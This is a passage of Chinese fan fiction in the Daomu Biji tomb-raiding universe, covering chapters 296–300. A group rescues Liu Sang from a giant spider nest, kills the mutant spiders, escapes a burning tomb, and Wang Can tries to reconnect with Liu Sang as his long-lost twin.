“我哪有那么重！”胖子反驳着。 解雨臣则立刻反应过来一件事，巧妙将黑瞎子与胖子的玩笑话化解掉，“但瞎子不是说，那个大蜘蛛在找东西吗？衍先生也说了，那个人带着它想要的物品在移动，可如果是这样，猎物到手，那它为什么没有去守着呢？” 被提到的衍卜寸，正从包里拿出登山绳。 “估计是下头的那个人在察觉到自己被追杀是因为那东西以后，就将东西扔了，可还是势单力薄被封在了这里。”衍卜寸说着，顺手给张祈灵将锁扣与绳子接好，又抚弄了一下对方被吴峫攥皱的衣摆，“所以我们的时间很紧，必须在它回来之前把人带走。” 张祈灵发现了衍卜寸的动作，但只以为这样皱巴巴的不好看，衍卜寸才动手的，所以没有太大的反应，而是即刻小哥一同下去了 站在一旁的黑瞎子原本想动身，结果却被解雨臣拦住，“瞎子，我们现在上面需要看清楚动向，防止那家伙回来了我们还不知道。” 原本紧俏哑巴和祈的黑瞎子，揉了把头发，却是真被自己的心急给逗乐了，挑眉了然后，察觉个人情绪影响判断，便赶紧扯着绳子，蹲去看洞口了。 张祈灵和小哥砍着蛛丝，老旧的那些带着韧劲儿，像是拧紧的尼龙绳，在前面下去的时候倒是很快，可是到了中间部分就开始变粘。 头发会变成一团，睫毛上也会沾着，但张祈灵和小哥还是尽量互帮互助着朝那茧房处移动。 这是蜘蛛在储存食物才会创造的东西，里头的人还在挣扎，并已经从中破开了个洞。 张祈灵在停到那洞面前的时候，便用软刃将其划的更开，在拓大后，率先出来的是双骨节分明的手，紧接着，是挂着眼镜的一张清俊的脸，然后，便是束起在脑后的半低马尾。 看起来有点丧。 “是……它要回来了。”男子还在断断续续的说话，而小哥还有张祈灵正将人拼命往外拔。 这个男人说的话确实有一定可信度，两位小哥都清楚，只要蛛丝牵动，无论多远，蜘蛛都会为了护住网巢和猎物，不远千里的奔回来。 而就在张祈灵同小哥，给这个陌生的家伙挂锁扣的时候，扭头就听见了那密集的，无法令人忽略的咔哒响。 ——来自于那位巨型蜘蛛的大牙碰撞声。 第296章 毒唯 张祈灵紧急拽动绳子，示意黑瞎子等人将自己和小哥以及那个生人给带上去。 而黑瞎子显然很快懂得了张祈灵的想法，并招呼胖子和吴峫一块齐心协力的拉。 但衍卜寸的红线却比人力更快，几乎是片刻之间，他拥有的自然力量，便瞬间自黑瞎子的颈侧擦了过去，然后再自主的拧成一股绳，将张祈灵他们直接像拎小鸡似的扯了上来。 在此期间，张祈灵的眼睛一直与怪物对视着，却并没有开枪或用软刃去激怒它。 待重新回到上层，张祈灵没有说话，只是朝着众人点头，并示意其后头的庞然大物也跟了上来。 紧接着，他立刻将男子妥善的放好，随后张祈灵转身，同小哥与那爬到顶部的巨型蜘蛛对视。 吴峫等人的注意力那是拴在张祈灵和小哥的身上的。 所以只有一直默默无闻的渡荆，顾得上将他们带上来的男人给扶起来，他很快用手扒拉了一下对方的眼皮和唇瓣，确认并没有中毒迹象只是缺氧以后，还顺便给喂了点葡萄糖。 空气里一时静匿。 因为现在除却渡荆和汪灿以外的人，都在看着那个庞然大物。 更令吴峫和胖子不敢呼吸。 这个蜘蛛的异变，让它全身柔软的绒毛都变成了坚硬的铠甲，那属于节肢动物的特征与外骨骼，正顽固的箍在它的身上，衬得它有些不伦不类。 可张祈灵丝毫不慌的用指尖弹了一下刀，上面所挂着的蛛网还没扒拉下去，如此的颤动，刹那间便吸引它的注意力。 而小哥则让吴峫等人后撤步，到所谓安全范围内后，才义无反顾的站在了张祈灵的身边。 两位小哥的身形无论怎么添补都仍是瘦削，可衣料所掩藏的肌肉，已经因为这种从未见过的生物而绷紧到了极致。 但衍卜寸却将自己的红线以微不可察的幅度，缓慢缠上了蜘蛛的腿脚，而就在它感觉到异常，认为是张祈灵所带来的挑衅而直接跳出之际，那股牵扯的力道却越来越大了。 张祈灵不用回头，就知道这神不知鬼不觉的攻击是衍卜寸的手笔，他也和小哥借东风般配合默契的一同上前。 随着习惯性将掌心划开，蒸腾的焰色快速将寒刃上的丝线全部剥落下去，飞灰里的火星缠上蛛网，令其在片刻之间成为火海。 可巨型蜘蛛却没有放弃，它努力挣开衍卜寸的束缚，像是饿狼般冲着张祈灵的脑袋就扑了过来，张祈灵紧急下腰，可手上的软刃却不避不躲。 小哥顺势出击，随着两柄火刀入头颅，竟让巨型蜘蛛从嘴里吐出了火团。 外骨骼承受不住热量的开始皲裂，就在这如导弹快要坠落的时刻，黑瞎子的枪响终于打破了所有的平静。 子弹像是最后的导火索，在入其面门时，张祈灵与小哥即刻将自己的刀卷了出来，蜘蛛的前身在兵器脱离之际爆炸，甚至将原本撤出一段距离的两位小哥给往后推了把。 在耳朵的嗡鸣声褪尽，张祈灵的背部落入了眼疾手快的衍卜寸怀中，而小哥则被吴峫和胖子抱住。 衍卜寸向来是个体面且谦逊的人，可不代表他什么都不争。 他不想如此佛系的等待，永远退居吴峫之后，成为张祈灵心里的下下策，他分秒必争，哪怕自己只能占上那一丁点儿的分量…… 可张祈灵却并不会去想身后之人是谁，他只是挥开眼前弥散的烟雾，专注的看着那蜘蛛的下半部分，竟然还在火海里抽搐。 属于它的鲜红液体混进火中，像是扔入柴垛的白磷，让其燃烧的越来越旺。 那强劲的外骨骼也正在不堪的掉落，内脏瓦解后的人类头颅，快速从那硕大的腹部中滚了出来，那些未消化的血肉还散发着糜烂的气息。 见此，张祈灵又被衍卜寸往后拖了几分，让脚尖距离那怪物的残骸远了一些。 而吴峫和胖子，以及后搭了把手的解雨臣，此时此刻压根不敢大喘气，因为他们能够感受到那边的灼热温度，正炙烤的自己抓着小哥的手都烫得极为厉害。 可僵硬着的汪灿，此刻才是最不淡定的那个，他觉得自己在看到张祈灵和张启灵带出来怪物的时候应该是极为恐慌的。 但事实证明，自己从始至终的全部注意力，都没有被那只蜘蛛所吸引走。 因为他一直不可控的待在渡荆的身边，并认真的盯着那个还在闭眼休息的青年，熟悉到不能再熟悉的眉眼，只让他感觉自己的心里，有什么颠覆认知的东西正在上演。 与此同时，待巨型蜘蛛烧尽，最后一颗红玉珠终于从它的身体里，自那火焰中央毫发无损的滚了出来。 黑瞎子不在乎的用手捞了过来，冲衍卜寸挑眉，“呦，又是你家的特产啊，拿着。” 说完，黑瞎子便随意的丢在了衍卜寸的手里。 可衍卜寸接住后，只是低头查看了一遍张祈灵的情况，没有被烧伤，精神也很好，但掌心所流出鲜血的横断伤痕，却格外的刺眼。 他和吴峫同时给张祈灵还有小哥包扎起来，丝毫没有认为自己有抢夺其后援工作的负罪感。 “东西拿到了，人也接上了，可以出去了。”衍卜寸边说，边试图将张祈灵给扶起来。 但显然，这样的担心实在是过虑了。 张祈灵拍着身上的落灰自己便起身了，甚至还眨巴眼睛，略显迷茫的看着衍卜寸悬在半空的手。 骤然，悟懂张祈灵迷茫的衍卜寸缩回手，心情掉了下去，可面上却还是温和的挂着笑意。 并劝着自己放宽心，毕竟神明不会的太多了，奢望太多就是在和自己较劲。 而黑瞎子看着衍卜寸又没有成功拱到自家小白菜，脸都要笑裂了。 但衍卜寸已经习惯于张祈灵的独立了，所以只是将目光转向汪灿，并清晰看到对方的红线源头，正接在那个与他外貌一模一样的男人身上。 胖子也跟着去瞧，道上的他谁不认识，此时一打眼就知道这家伙是谁了，惊的直拍大腿。 “我这几天都寻思这里怎么这么熟呢！这不是当初声名远扬的宣城老盘口的辽国墓吗？最后就他一个人活着出来了，名字也特儿邪门，叫刘丧！这纯丧背儿啊！”胖子这句话，可是直接点明了男人的身份。 似乎是胖子的动静太大，原本还合着眼的刘丧眼一抬，借着其他人的手电筒，直接冲刚才开口的胖子呛道，“你个死胖子……积点口德吧。” 毕竟，这是后来发生的事，所以，带着十年灵魂的胖子所说的话，在刘丧的耳朵里就是在咒人全军覆没。 不过，很快刘丧的注意力就被吸引走了，甚至有些后悔于刚才自己骂人，而留下来不好的印象。 他目光发直，看着小哥和张祈灵，突然感觉到了双倍快乐。 “偶像，还……两个？我不是在做梦吧，不，不对。”刘丧撑起身子，手还颤巍巍的指着，又反应过来道，“你们之间，一定有个假扮的，我的偶像只有一个！” 天哪噜，吴峫等众人扶额。 “完蛋了天真，这纯特么小哥毒唯。”胖子揉了把吴峫的肩膀。 而衍卜寸立刻将亢奋的刘丧打晕，用行动证明，毒唯之后还有更毒的。 “说话真难听。”衍卜寸是第一次这么生气于，又有人试图去辨别张祈灵的真伪。 第297章 雄性 而就在众人打算带着刘丧出去时，却听到背后整个地下蛛穴，因为氧气灌入，加之蛛网点燃，导致火焰愈发剧烈。 此刻脚下所踩着的，就是一个巨大的火炉。 虽然目前说不上烫，但以张祈灵目测估计，大概五分钟左右，待下方氧气消耗到阈值，烟气便会漫上来。 现在感觉还可以的原因，完全是因为那只蜘蛛的残骸还堵在洞口。 如果它彻底烧化，那下一步被缠住火舌的就将是大家了。 “撤离。”张祈灵将软刃放回腰身处，随即立刻疏散。 吴峫明显能够感觉到热量攀升上来了，发丝变得蜷曲，还能闻到一股子焦味，但还是秉承着帮扶原则，帮着渡荆将药箱拿好。 而刘丧的归属，则交给了汪灿。 事实上，这是汪灿自己要求的，主要还是这一眼就是兄弟的程度，很难让汪灿不产生想要了解的想法。 当然，昏迷的刘丧还并未来得及看到汪灿那张自己一样的脸庞，他只是在一阵火焰追尾的颠簸中，迷糊的做着期望其余人生还的梦。 毕竟刘丧的求生欲很强，如果没有张祈灵和小哥到来，他的意志力会坚定的让自己爬出去。 不过张祈灵这一次并没有处于领头的位置，而是一贯作为收尾的待在末端，灼热的温度和过去的记忆重合，可是这一次却没有任何诡辩的青铜门，也没有让人推背感极强的爆炸。 待奔到水路前，张祈灵却紧急停步，他看着后方的火光摇曳，又瞟了一眼水路，在知晓虽然具有潜水设备但还没用的情况下，刘丧仍然有呛水的风险。 而且火焰燃烧到这里的椁室还需要一定时间。 在与同样处于思索的小哥对视以后，两个人同时行动。 “我们不走水路吗？”吴峫问着，却没有制止他们的意思，其实打心底里还是相信两位的决定的。 黑瞎子如今歇了脚，便半倚在吴峫的身上，不急不慢的开口，“要保证那位哑巴毒唯小粉丝在昏迷中不呛水的话，就只能找别的出路，徒儿啊，你怎么越想思想越回旋了呢？” “瞎子。”小哥偏头，叫了黑瞎子声，大抵是不希望黑瞎子那么去调侃吴峫。 听出其中意思的黑瞎子瘪嘴，耸肩后又摊手，“诶呀，忘记这里还有一个吴峫毒唯呢！” “什么天真毒唯，小哥是属于铁三角组合的懂不懂！”胖子愤愤不平的打岔，但身体却很诚实的帮着一起找暗门。 而在小哥与张祈灵找到叩门式机关后，便将其打开了，里头的氧气充足，而且没有与那方洞穴有衔接之处，或是距离较远，才没有看到烟漫过来。 张祈灵率先动步走了进去，发觉这里都是蜘蛛为了防止自己巢穴被一锅端，索性找了这个空间去下了卵。 肉眼可见的是由蛛丝所包裹的一个个茧，目前还没有破壳，但显然还有生命迹象。 在保证刘丧可以坚持，并找到新出路的情况下，张祈灵和其他人着手将这里的卵巢放了一把火。 虽然这也可能是自断后路的行为，但比起让这些日后会成长为巨型蜘蛛的家伙跑出去，还不如让他们深埋地底。 在做完这些后，张祈灵发现进入后的甬道算不得长，甚至比一般的小型墓穴还要短，只是因为巨型蜘蛛的频繁进出而导致其横向拓宽较大。 吴峫看了会儿突然灵光乍现，他的表情突然变得严肃起来，环视周围，只感觉自己的呼吸都加重了，“这里好像不止一只蜘蛛。” “我知道。”小哥连带着张祈灵以及黑瞎子三个人的声音，突然对撞在了一起。 前两者没有继续说下去的意思，因为他们将机会留给了爱解答吴峫疑惑的黑瞎子。 只见黑瞎子笑的，又是往日那种面对着棘手之事的闷，“在大家说要下去找徒儿他们，我让你们不出声的时候，我看到吊顶还有一头蜘蛛，只不过它怕生，被我帅的找不着北然后跑掉了，哎，我这该死的魅力！” 胖子一掌拍在黑瞎子的后背上。 “不是，那是我们下去的时候吧，你之后怎么一点儿都不提，还是汪灿说的有蜘蛛这事！”胖子真是觉得黑瞎子怎么能这样不靠谱呢，到时候出去可不能免费给他热青椒肉丝炒饭了。 但黑瞎子蔫坏，笑得肩膀一耸一耸的，“这不是看大家比较沉浸吗？我说了多没惊喜感，而且，胖子啊，其实就你和我家徒儿不知道。” 吴峫前面还在跟着张祈灵走，听到黑瞎子的这话，即刻回头，转向了解雨臣。 “小花你不会提前知道了吧？”吴峫有些不可置信解雨臣也会跟着黑瞎子搞那套。 解雨臣既想点头又想摇头的。 说实话，他也是只有肉眼捕捉到的一瞬间，当时以为是垂下来的绳子，压根没有黑瞎子那么牛的动态视力。 当然，黑瞎子的眼疾已经被他们在门里彻底治愈了，可是这眼力的捕捉力与差距真的是没法比。 于是解雨臣最终顶着吴峫那恨铁不成钢的眼神，最终什么也没说。 但好在，吴峫也不是计较的人，只是在提出这个事情以后，就在思索一件事，“那我们杀得那只是雌性还是雄性？” 一直没开口的衍卜寸回答：“准确来说，应该是雌雄都有。” “何以见得？也没听说过蜘蛛能是雌雄同体啊，修炼那什么葵花宝典了？”胖子做出兰花指，摆出娇俏的表情，“歹！哀家乃合欢宗掌门！” 黑瞎子用手心给胖子来了一个后脑勺的极致抚摸，差点给干的眼冒金星。 “你这看的书挺杂啊……”黑瞎子挑眉，转而将衍卜寸的意思说清楚，“以后少看点儿，这东西荼毒身体。不过，我们刚才杀得是雌性没错，但是它的肚子里还有雄性，简而言之，它能够长这么大，全靠自产自销知道不？” 胖子对这种禁忌违背伦理的事，有些难以言说，连走上台阶的时候，脸上都跟染料打翻似的，五颜六色格外精彩。 “也就是说，它最先体型还没有这么大的时候，就吃了它的老公，紧接着产卵，又把自己老公生出来了，然后继续搞动物世界，再吃掉，这么循环往复下去？”胖子感觉这真的太抓马了，他以为只有螳螂才会这么做。 但吴峫却没有丝毫意外的点头，并觉得胖子这个思路相当有逻辑，“所以，按刚才看到的那些卵来讲，这只蜘蛛刚产卵不久，还在恢复期，可我们却没有在它腹部发现属于雄性蜘蛛的尸体……” “那就证明，因为雌性蜘蛛还未进食，就被我们杀掉了，而那只雄性，现在还活着。不过看起来它守护卵巢的意识不如母体强，所以一时半会才没追上来，至于我和花爷儿看到的那只嘛……”黑瞎子看了一眼解雨臣后，继续道， “估计就是那只还没有被吃掉的雄性了。” 第298章 唯一的亲人 张祈灵原本还在正常奔跑，可显然，那只雄性蜘蛛已经追上来了，而且正处于距离自己一墙之隔的甬道中。 独属于节肢动物的腿脚摩擦砖块的声音，愈演愈烈起来，来自于野兽本性的嗜血欲望，让它精准的锁定了食物的存在。 黑瞎子与小哥明显也意识到了这一点，他们同时停下步伐，几乎是将吴峫和胖子他们给义无反顾的拦截住。 “是它已经来了吗？”吴峫能够从这几人的反应当中，判断出发生了什么。 而在吴峫话落的刹那，旁侧甬道的声响变大了很多，连同地面也在略微的震动，碎石从头顶坠落，连带着里头掺杂的蛛网也铺天盖地砸了下来。 张祈灵和小哥，已经在刚才的救援中有了对付蛛网的经验。 即刻，软刃与黑金古刀擦掌并出，卷着差点落在众人头顶的丝网，被麒麟火焚烧了个干净。 就在火焰蒸腾剧烈的时刻，那从未出现过的另一只雄性蜘蛛这才冒出了头。 它的体型看起来比雌性要小一些，因为它不需要肥硕的腹部来产卵，这使得它的腿更加的长，并拥有较小身躯所带来的超快移动速度。 这让它在麒麟火的掩映下，正以肉眼看不见的闪动穿梭。 而黑瞎子的动态视力，则刚好能应对它的天赋。 所以意料之中，在它俯冲过来的时候，黑瞎子直接用枪瞄准了它，并点明位置，“七点钟方向，给我往那边劈！” 得令的张祈灵，毫不犹豫同小哥调转刀尖，在剧烈火光下，属于黑瞎子以及所有人的子弹，皆朝巨型蜘蛛而去。 吴峫来不及让冒烟的枪口歇火，因为那弹眼，正以密集的架势冲向它强悍的躯体，又被那坚固的变异外骨骼所弹开，而越扣动扳机，自己虎口传来的震感越强，越叫人头皮发麻。 “它为什么体积小了，反而没那母的好对付啊！真是变异种开了眼了！”胖子看着攻击没大起效果，急出一脑门的汗。 不过，张祈灵和小哥的麒麟火还是有一定威慑力的，起码将它惊得不敢靠近，它只能垂涎的用那双大牙反复的嗫嚅，不知道在咒骂什么。 吴峫则明白胖子的疑问，在背部靠在一起的时候便顺势解答起来，“雌性蜘蛛为了孕育子嗣，会让自己的体型拓大到能够产更多的卵的程度，至于雄性蜘蛛，则为了不让自己变成一辈子劳累的工蜂，肯定也会去进化出不被雌性捕食的身体。” “所以，他目前的使命，是除了协助雌性蜘蛛繁衍以外，靠本能的想要尽快填饱肚子。”黑瞎子说这话的时候，是勾着唇角的，完全一副还未让身体紧张起来的架势。 而胖子看着黑瞎子灵活的身手，以及雄性蜘蛛不断流哈喇子的模样，只能用力搓了把自己起鸡皮疙瘩的手臂，“哎，它这么饿，让我这个香喷喷的五仁月饼可怎么办！” “没到中秋节，吃不到你这月饼的放心吧。”吴峫真是习惯胖子的幽默了。 与此同时，张祈灵和小哥，连带着刚才还在说话的黑瞎子，已经一起窜了出去。 双生子的刀从来不会向着自己人。 席卷的两抹火焰，更像是给黑瞎子开辟的火炬之路。 紧随其后的解雨臣，将龙纹棍立即甩出，高速旋转之下，被黑瞎子扭身抬腿踢向雄性蜘蛛。 两次恰到好处的力量衔接，让棍子以巨大的力道刺进了它的其中一只眼睛里。 属于蜘蛛尖锐的大牙摩擦声，令人明显听出了其中的愤怒以及疼痛。 而黑瞎子与解雨臣的配合显然起了效果，后头的吴峫和胖子，还有并不需要以变换身为来达成攻击的衍卜寸，正以张祈灵他们所划定的安全范围，进行着协助。 他们破空的炽热子弹和锐利的红线，于黑瞎子以及张祈灵、小哥等人变换身形的缝隙所擦过。 紧接着，他们会以人类无法做到的反应速度，用刀锋改变走向，将弹头死死嵌进黑瞎子与解雨臣所创造的创口里。 很快，在火光照射下，那分不清是何种的液体，便从蜘蛛的眼部如泄洪般涌出。 而在它视线模糊的瞬间里，那已然达到一定智力的大脑，竟永远的记住了结束自己生命的人影。 因为黑瞎子已经冲到毫无退路的蜘蛛面前，并将龙纹棍拔出，甩给后方的解雨臣，而接住棍柄的解雨臣，还来不及擦拭上面的肮脏鲜血，便乘胜追击的再度掷出。 那穿过麒麟火的棍身，被淬炼的通红，张祈灵的软刃以及小哥的黑金古刀，则协同它一块入了蜘蛛的头颅。 烧烤的碳味，以及空气里弥漫的腥，痛苦如啼鸣的哀嚎，连带着大脑重创的疼。 漫天烟火与在场所有人绷紧的脸，全部都充斥在雄性蜘蛛为数不多的记忆当中。 躯体像被一寸寸瓦解，生来是繁育工具，以及作为母体食物的它，在长久的生命里，从未想过自己竟然会被一群从未见过的异类消灭。 雄性蜘蛛的躯体终于轰然倒下，而衍卜寸上前，却并未在它的身体里翻找到红玉珠的存在。 不过，虽然它没有那个势力的东西，但不代表它不源于红铜门后。 而衍卜寸，把先前从母体拿出来的红玉珠力量给吸收掉，才叫张祈灵他们离开。 在上去以后，众人为了扼杀很剩余的漏网之鱼，便掷出燃烧瓶和雷管，将其毁了个干净。 “它们是那个势力的东西，而且是被遗忘的废弃品，在我的视角里，目前已经感受不到其他红玉珠的存在，我们可以落定宜居地了。”衍卜寸开口的时候，已经坐上他们留在山脚下的越野车了。 而他说的，就是红铜门最后留在这个世界的墓穴，已经被消灭了，他们往后也不需要为此奔波了。 他的车上还有汪灿和渡荆，而汪灿坐在后座，正动作轻柔的，给尚在昏迷中的刘丧披上外套。 待将人裹的暖和后，汪灿才有时间将自己的疑问吐出来，但声音很轻，估计是怕吵醒刘丧，“所以，你带我来这里，就是为了汪家曾经使用过的那个势力吗？” “最开始是的，不过我想，目前你的收获，可能比我的更多。”衍卜寸态度温和，不紧不慢的转动方向盘，确认着后方的吴峫他们的车没有掉队，才开始正常行驶。 而汪灿自然清楚衍卜寸的言外之意，因为自己确实得到了比衍卜寸解决那些麻烦更好的事物。 因为刘丧， 可能是自己在这世上唯一的亲人。 第299章 管好你的嘴 众人回了根据地，并且将东西重新派送到了雨村，在提前解决汪家、以及那个势力后，他们多的是能够享福的时间。 在此期间，刘丧终于醒了。 在车窗外的风景，随着汽车移动，簌簌掠过的时候，他也睁开了那睡的昏天暗地的眼。 模糊的光晕逐渐褪尽，刘丧看见了抱着自己的这个人清晰的下巴，很熟悉，相当熟悉。 除了头发的长度和没有眼镜之外…… 刘丧蹭一下惊起了身，想要往后退，结果后脑勺直接磕在了前座的背椅上，疼的他终于是清醒了。 “你！你怎么！”刘丧不知道该怎么描述这样的场景。 毕竟，简直跟照镜子一样，面前的这个男人，拥有着和自己相同的脸庞，眼尾、眉梢、鼻梁、薄唇…… 相比于刘丧的惊愕，汪灿的反应则平淡多了，但也只是按捺住自己那不受控制想要靠近的心，他尽量控制着自己的表情，不想表现的那么冲动，“我是你哥。” “死胖子！我是霍霍过你一次盘口，但你不能这么报复我吧！”刘丧偏头，眼疾手快的扒住目前坐在副驾驶的胖子的脑袋。 刘丧真不觉得，当初二人相识的那个闹剧，能让胖子开这么大的玩笑，但现下，没有比这个更能接受的理由了。 要知道这个世界上克隆羊都活不了多久，更别提制造出一个完全相同的人所花费的成本了。 可汪灿只是笑着，向刘丧伸出了手，“自我介绍一下，我叫汪灿，目前已经脱离汪家，并且通过某个家伙找到了你，至于你所担心的……” 汪灿不知怎么，竟然能看出刘丧内心所想似的，也许只是他的阅历，让他更加敏锐的能够知道刘丧的纠结。 所以，半晌后，汪灿收回了久久没有被回握的手。 “我是真实的人，也是你哥，如果你不相信的话，可以做亲子鉴定。”汪灿这么说着。 可在场人都知道，单凭二人这完全相同的脸，就能够敲定他们的关系了，做什么鉴定简直是多此一举！ 胖子听到，立刻把刘丧僵持在自己脑瓜上的手扒拉了下去，扭头笑眯眯的，“我说，刘丧……啊，不对丧背儿呀，这好不容易给你找到哥们，你多少和人家说说话啊！这都抱了你一路了！” “死胖子，我又没让他抱我！”刘丧简直被现在的情况搞的抓狂极了。 突然蹦出来一个哥，刘丧看了眼外面，这些人又将自己带到这个鸟不拉屎的地方，虽然有救命之恩…… 等等，救命之恩。 “偶像在哪？我要见偶像！”刘丧说着，又转移视线看了遍驾驶座，可惜现在开车的人他都不认识。 老者留着点儿胡子，穿的格外朴素。 渡荆只是被安排在这里看着刘丧的身体状况的，是刚才胖子有点儿疲劳驾驶，才换了自己去开车。 此时刘丧的精神面貌那叫一个好，根本不需要自己再看了，于是渡荆瞄着后视镜，在看到吴峫还有黑瞎子他们的车跟在后面，便开窗，打了个手势示意歇一会儿。 也就是这得空的时间，刘丧直接按住门把手就跑出去了，他对于陌生环境的茫然，让他想要立即抓住那唯一的救命稻草。 刘丧深吸了一口气，自己耳边的声音，因为现在的专注而被成倍放大。 张祈灵现在坐在吴峫的车辆后座，正和小哥处理着掌心里有点结痂的伤口。 而小哥，在看到张祈灵将目光挪向外头的刘丧时，语气里是少见的，对自己弟弟注意力被转移的憋闷，“别看。” 也就是这两个字，让刘丧偏头，立即睁眼，锁定了小哥的车辆，他拔腿，丝毫不顾后面下车的胖子和汪灿，直接去轻拍了后座的车玻璃。 “偶像……我是刘丧，我真的很感激您救我出来，我想亲自感谢您好吗？”刘丧迫切的，想要待在一个能够给予自己绝对安全感的人身边。 而那时候的两个偶像，现今只被苏醒来的刘丧当做是当时濒死的恍惚。 位于驾驶位的吴峫，将坐在副驾驶的解雨臣那侧降下车窗，吩咐道，“小花，你和他说说情况吧。” “先生，我知道你的惶恐，如果可以的话，我在过问一下两位张先生的意见，再考虑让你上车，说详细的情况。”解雨臣努力表达和善。 而刘丧也不是完全失了理智的人，所以在听到两个张先生的时候，他就知道自己所看到的两位偶像不是幻觉了。 张祈灵与小哥对视着，最后点了头。 刘丧坐上后座，失去了原本的急迫，而是想要笑，又觉得不安的反复去打量张祈灵和小哥。 两人已经处理好了伤口，正目不转睛的盯着自己，想要等自己主动开口问些什么，而被这样的视线齐聚，刘丧只觉得拳头里捏着一把汗。 后跑来的胖子和汪灿并没有紧追不舍，而是在吴峫表达想让刘丧自己静会儿的时候，才返回了自己原先的车里。 刘丧半天才开了口，“所以，你们是怎么找到我的。” “准确来说，是超脱你认知的能力，目前的你应该不知道第十一门的存在，衍家的某些人，具有看见某种物质并找到事物的能力。”吴峫这么说着，又拆开了车侧包里的饼干，递给了后头的刘丧，“那个人待会儿你就能见到，现在多少先吃点儿。” 刘丧接过，却并没有拆开包装，他努力消化着这些庞大的信息量。 “照这么来看，你们的队伍里，有所谓第十一门里的人，并且还帮助你们找到了我？可我有什么特别的，那个汪灿，还有两个偶像又是怎么回事？”刘丧的疑问太多了。 解雨臣耐心解释着，“那个人叫衍卜寸，在他最开始提出要帮助汪灿找到你的时候，我们甚至连你是男是女，是人或其他生物都不知道，但当我们看到你的时候，就知道衍卜寸提出的寻找是对的。” “兄弟。”张祈灵总结着。 吴峫点头，“对，因为你们是兄弟，至于小哥和祈灵的情况有所不同，不过对你来讲不重要。” “很重要，非常重要！”刘丧反驳着，“偶像之所以是偶像，是因为他独一无二，是因为他是唯一的张启灵，而不是……” “闭嘴。”小哥直接捂嘴了刘丧。 刘丧睁大眼睛，一时之间不知该因为欢喜还是恐惧，因为他看到了偶像的眸子里，竟然闪过了一丝短瞬即逝的杀意。 但又很快，对方在被另一个偶像拉扯衣角时，那份令人颤栗的威压又迅速褪去。 小哥真的很讨厌，别人将自己和张祈灵用作真伪对比，因为现在自己和弟弟都是活生生的，有血有肉的人。 他很珍惜张祈灵，所以他容不得外人去提出这样对弟弟来说敏感的话题。 而小哥见刘丧发怵，才收回了手，可语气里仍旧带着显而易见的警告，“管好你的嘴。” 第300章 本可以拥有家人 刘丧赔笑，可心里头却在发怵之余仍有兴奋。 “抱，抱歉……”刘丧虽然嘴上这么说，可是目光还是在被偶像护住的人身上，略微打转了一圈。 张祈灵从来不是一个避讳视线的人，他只是偏头掠过小哥的侧脸，同样在观察着刘丧。 对于张祈灵来讲，刘丧其实算不上伙伴，但却是被吴峫他们科普的，一个独属于汪灿的家人。 而刘丧的心里头，则带着十分确认的笃定，想要在再次试图去吸引偶像的目光，可在这几秒钟里，他却仍然，任自己全部的注意力都被张祈灵所牵引住。 明明两个偶像拥有同样的脸庞、能够让人陷进去的黝深眸子、常惯冷白的肤色、瘦削却又暗含爆发力量的身体…… 可刘丧无论如何的，去坚定跟着自己心底里的想法走，但拐到最后，他还是会选择将刚才自己嘴里的冒牌货，也给容纳进偶像的范畴里。 因为太像了，真的太像了。 如果没有头发的长短区分，和来源于心脏怦怦直跳到那已经被印刻成生理性的兴奋，刘丧也许真的会认错人。 而驾驶位的吴峫，见刘丧迟迟呆愣住，便知道他被两位小哥给闪瞎了眼。 所以，吴峫只一个响指，便叫刘丧回了神，“该说的情况，小花已经和你讲明白了，你现在是管住嘴了，但也请控制住你的眼睛好吗？” “你没有资格说。”刘丧像是突然将丢失的魂魄唤回来似的，那被镜片所遮挡的眼睛也明亮了起来，“这是我偶像交代我的事，你没资格再往里添要求。” 吴峫真是被刘丧这态度给气笑了，但摸了把方向盘，又从后视镜里看了一眼脸色更加阴沉的小哥，就知道刘丧再用这样的语气回答，估计是没什么好果子吃了。 “我只是在提醒你，现在你该追着的不是你的偶像，而是外面等待着，迫切想要与你相认的家人。”吴峫话归正题。 毕竟自己这里可不是收容所和福利院，像刘丧这种刚醒过来，就只知道奔着小哥眼巴巴去的小粉丝，吴峫真是爱莫能助。 听后，刘丧看了一眼窗外的车子。 胖子和汪灿，似乎因为刚才自己寻求安全感的行为，知道了这样的认亲操之过急，所以已经回到了车上了。 不过，那个才认识的汪灿，确实和自己长着同样的脸。 但刘丧摸爬滚打到现在，已经不需要什么所谓的家人了。 他经历父母离异，被继母反复虐打，父亲逝世，因为食不果腹，而跟着癞头姑子讨生活，学会了一身本领。 最后，他将欺凌自己的家伙一把火烧死。 在此期间，刘丧从未见过所谓的家人去帮助自己，脱离那哪怕一次的困境。 所以刘丧最不缺的，就是孑然一身的狠辣。 “我并不清楚，你们叫我认亲的理由，但我想，我可以决定自己要不要这个所谓的家人。 不过我很感谢你们救出了我，但是，这不代表，我需要完全按照你们的安排去做事。”刘丧将自己的眼镜摘下，用衣角擦干净后重新戴上，又把那原本用来降噪的耳机给调整到适合的角度。 而吴峫本不是在道德绑架，可现在一听刘丧的话，后知后觉便想清楚，这和用救命恩人的身份按着刘丧的头，让他叫爸爸有什么区别？ 一旁的解雨臣也觉察出，刘丧表面感谢的话里所带着的锐利。 “我想你应该误会了，我们并不是这个意思。”解雨臣连忙缓和气氛，“你当然可以决定，自己要不要接受一个素未谋面的人去进入你的生活，但在你们没有正式见面交流之前，就去提前下结论的话，可能……” 解雨臣没有来得及说完，因为吴峫已经摇头，劝其止语了。 在上一世里，汪灿直接死在了汪家大本营，根本没有活下来的机会，更是让吴峫压根不知道，他还有这么一个家人尚存于世。 如果说，上一次自己所经历的时间线里，造就了太多的悲剧，那现在的改变，只是执行大家自以为是的好意。 他们只顾着去填补所谓的苦难，却忘了，刘丧从不只是汪灿的家人，他先是刘丧，再是其他人的弟弟。 解雨臣自然看懂了吴峫动作里所表达的意思，多说多错，反而是在逼刘丧。 而刘丧，在脑内转过汪灿那与自己一般无二的脸庞时，却仍然没有动摇。 他从前不需要家人的帮助，那现在也不需要用这迟来的亲情，去弥补童年的创伤。 想着的时候，刘丧感觉耳边环绕的噪音太大，拧眉，便没有再说话。 而胖子在前头的车上坐着，在看后视镜的时候，明显瞄到了汪灿的失落。 “他不想认也是正常的，你别那么大的压力。”胖子真是想跨过前后座的缝隙，给汪灿这个快要掉珍珠的大狗顺顺毛。 可汪灿向来维持一个冷酷的躯壳惯了，所以并没有在胖子戳穿自己心理状态时，表露出任何伤疼的情绪。 他只是摩挲着虎口，让自己的声线稳定住，“听你说过这次蟒山探墓的事，你是从前就认识他吗？” “他啊，确实认识，从前来我盘口上闹过事，不过他出名不在这里……”胖子尽量想将自己要说的事放到轻松一些。 